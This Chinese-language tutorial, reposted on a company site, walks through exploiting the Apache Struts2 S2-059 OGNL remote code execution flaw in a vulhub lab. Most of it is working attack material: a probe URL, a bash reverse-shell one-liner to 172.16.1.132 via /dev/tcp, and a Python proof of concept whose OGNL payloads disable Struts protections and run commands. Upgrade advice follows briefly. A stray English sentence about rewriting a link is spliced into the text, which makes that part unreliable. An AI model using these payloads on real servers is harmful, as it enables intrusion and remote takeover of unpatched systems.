当前位置: 首页 > 新闻动态 > 技术教程

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

作者:王林 浏览: 发布日期:2023-05-23
[导读]:0x00简介Struts2是Apache软件组织推出的一个相当强大的JavaWeb开源框架,本质上相当于一个servlet。Struts2基于MVC架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级Javaweb应用程序,它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞

0x00简介

struts2 是 apache 软件组织推出的一个相当强大的 java web 开源框架,本质上相当于一个 servlet。struts2 基于 mvc 架构,框架结构清晰。通常作为控制器(controller)来建立模型与视图的数据交互,用于创建企业级 java web 应用程序,它利用并延伸了java servlet api,鼓励开发者采用mvc架构。struts2以webwork优秀的设计思想为核心,吸收了struts框架的部分优点,提供了一个更加整洁的mvc设计模式实现的web应用程序框架。

0x01漏洞概述

攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

0x02影响范围

Struts 2.0.0 – Struts 2.5.20

0x03环境搭建

1.本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:

https://github.com/vulhub/vulhub

cd vulhub-master/struts2/s2-059

2.使用docker-compose快速构建靶场环境

docker-compose up -d

3.启动完成后在浏览器访问http://ip:8080/?id=1 就可以看到测试界面

0x04漏洞复现

1.在浏览器访问http://ip:8080/?id=%25{88*88},可以发现执行的88*88成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。

2.使用poc来反弹shell,反弹shell的payload需要使用base64编码

bash -i >& /dev/tcp/172.16.1.132/9967 0>&1

base64编码网址:

The original sentence is already a complete sentence that is providing a link. If I were to rewrite it, it could be something like: Here is a link to a webpage containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)

3.修改poc中的payload为自己的payload,然后使用python运行,可以看到反弹了shell

0x05修复建议

1.升级到Struts 2.5.22或更高版本

2. 开启ONGL表达式注入保护措施。

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

免责声明:转载请注明出处:http://m.hclxt.cn/news/242061.html

扫一扫高效沟通

多一份参考总有益处

免费领取网站策划SEO优化策划方案

请填写下方表单,我们会尽快与您联系
感谢您的咨询,我们会尽快给您回复!